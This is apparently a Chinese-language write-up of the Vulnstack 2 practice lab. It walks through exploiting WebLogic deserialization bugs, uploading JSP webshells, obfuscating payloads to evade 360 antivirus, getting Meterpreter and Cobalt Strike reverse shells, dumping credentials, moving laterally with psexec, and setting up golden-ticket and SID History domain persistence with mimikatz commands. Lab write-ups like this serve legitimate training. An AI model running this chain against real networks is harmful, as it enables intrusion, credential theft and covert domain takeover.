前言
第二个靶机来喽,地址:vulunstack
环境配置
大喊一声我淦!!!!!
配个网络配置弄了半天
配置信息
DC
IP:10.10.10.10
OS:Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80
IP2:192.168.47.131
OS:Windows 2008(64)
应用:Weblogic 10.3.6MSSQL 2008
PC
IP1:10.10.10.201
IP2:192.168.47.130
OS:Windows 7(32)
攻击机
IP:192.168.47.128
WEB,PC 有360和防火墙
网络配置:
- 内网默认网段为10.10.10.1/24
DMZ默认网段为 192.168.111.1/24
管理员 Administrator / 1qaz@WSX
内网
首先添加一个vm2的内网自定义,设置子网为10.10.10.1/24
当虚拟机开启时,会采用已经设定过的ip地址(必须符合10.10.10开头)
将DC,PC,WEB 设为 vm2 (内网环境)
外网
内网设置好了,外网这样设置
我设置的外网连接方式为NAT
将 攻击机,PC,WEB 外网设置为NAT,为了与kali在同一网段
PC与WEB做修改如下:
需要管理员权限: Administrator / 1qaz@WSX
选择自动获取ip,自动获取DNS
PC :
WEB :
开启web服务
开启WEB的服务:管理员身份运行
Kali访问如下即配置成功
突破边界
端口
Nmap 端口:
发现445 7001 3389 135等
7001开启 weblogic
v10.3.6.0
漏洞扫描
AWVS扫描:
显示存在weblogic漏洞:
WeblogicScan 扫描:
攻击面:
- 后台爆破
- Java反序列化漏洞
CVE-2017-3506 漏洞存在
CVE-2019-2725 漏洞存在
CVE-2019-2729 漏洞存在
端口攻击
1.后台:爆破就算了
2.MSF
1). CVE-2019-2725
exploit/multi/misc/weblogic_deserialize_asyncresponseservice
设置目标为windows:
失败:
2). MS17_010
失败:
漏洞webshell
weblogic漏洞上传木马工具
利用java反序列化利用工具上传木马
Tasklist 查看进程 发现360:
匹配是什么杀软:
木马获取shell
weblogic上传木马路径选择:weblogic上传路径
方法1:把shell写到控制台images目录中:
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp //目录上传木马
访问 http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
方法2:写到uddiexplorer目录中
\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp //目录写入木马,
访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp
方法3:在应用安装目录中
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp //目录写入木马,
访问 http://*.*.*.*:7001/项目名/shell.jsp
这里选择第一种
冰蝎
上传冰蝎的jsp马
成功连接:
systeminfo查看一下 主机信息,补丁等
反弹shell :
根据提示操作即可
msf set payload java/meterpreter/reverse_tcp
MSF马
想用msf的马反弹给msf失败:
进行免杀:
bamcompile免杀
生成php后门:
免杀以下转成exe文件:
监听上线 Php/meterpreter: 感觉不好用
cs马
第一次使用cobalt strike:
设置监听:
冰蝎上传木马:
Godzilla(哥斯拉)
反弹shell: jmeterpreter
weblogic CVE EXP
感觉以上的meterpreter都不好使
windows后门免杀处理
去exploit-db下载对应cve-2019-2725 exp
生成一个powershell的木马:
然后进行免杀:Invoke-Obfuscation
注:我免杀之后字符太长了,以至于后面运行时出错,在经过免杀后应该是能bypass360的,所以后面把靶机的360暂时关了,成功获取权限,至于免杀,会再学习的
将exploit的内容替换为木马的内容:
设置监听:
运行exploit:
没反应:
原来是设置payload的问题,改为这样:去掉 x64
获得meterpreter:
顺便关掉防火墙:
netsh advfirewall set allprofiles state off
这里我有个疑问,就是meterpreter的类型不同会对操作有什么影响,比如以上的 phpmeterpreter,javameterpreter,windowsmeterpreter ?
内网渗透
msf派生cs shell
Msf命令注入设置为cs所监听的也就是本机:
Cs设置监听后上线:
信息收集
凭证收集
hashdump
logonpasswords
域内信息
1). 本机信息收集
Systeminfo //查看操作系统信息
Ipconfig /all //查询本机ip段,所在域等
Whoami //查看当前用户权限
Net user //查看本地用户
Net localgroup administrators //查看本地管理员组(通常 包含域用户)
得知web服务器为Windows server 2008 有两个网段
2). 域内信息收集
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
net time /domain // 主域服务器会同时作为时间服务器
net user /domain // 查看域用户
net group /domain // 查看域内用户组列表
net group "domain computers" /domain // 查看域内的机器
net group "domain controllers" /domain // 查看域控制器组
net group "Enterprise Admins" /domain // 查看域管理员组
域名为de1ay.com 存在两台域主机web和pc 域控为DCde1ay.com主机名为DC,域管理员为Administrator
横向移动
路由代理
内网扫描
arp扫描网段:
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
扫描存活主机:
use auxiliary/scanner/netbios/nbname
这就奇怪了明明有10.10.10.201但是存活主机没有,后来知道是 PC 防火墙开启的原因
版本扫描
use auxiliary/scanner/smb/smb_version
dc为 windows2012
Pc为win7:
尝试攻击
永恒之蓝
DC直接蓝屏
psexec
可用cs的,也可用msf的
CS
对目标网段进行端口存活探测,因为是psexec传递登录
仅需探测445端口
得到10.10.10.201和10.10.10.10 :
新建监听:
用获取过的密码登录:
上线:
PC 一直上不去:
MSF
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set smbuser administrator
set smbpass 1qaz@WSX
域控算是拿下
IPC$
这个与第一个靶机最后共享c盘一样
关于PC
Pc一直出现问题,存在工作站与域之间不信任关系,然后我退域进域一直没有解决问题,所以就放弃pc了
域控权限维持
以下方法借鉴参考中的公众号
Golden Ticket(黄金票据)
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。
黄金票据的前提:
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
在域控获得KRBTGT账户NTLM密码哈希和SID
SID: S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
KRBTGT: 82dfc71b72a11ef37d663047bc2088fb
填上对应参数 :
票据伪造成功
执行命令:
SID History域后门
在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
首先我们在域控制器上新建一个恶意用户“whoami”:
net user whoami Liu78963 /add
然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中
privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator //将Administrator的SID添加到whoami的SID History属性中
注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。
然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:
load powershell
powershell_shell
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory
如上图所示,whoami用户的SID History和administrator域管理员的sid相同
那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。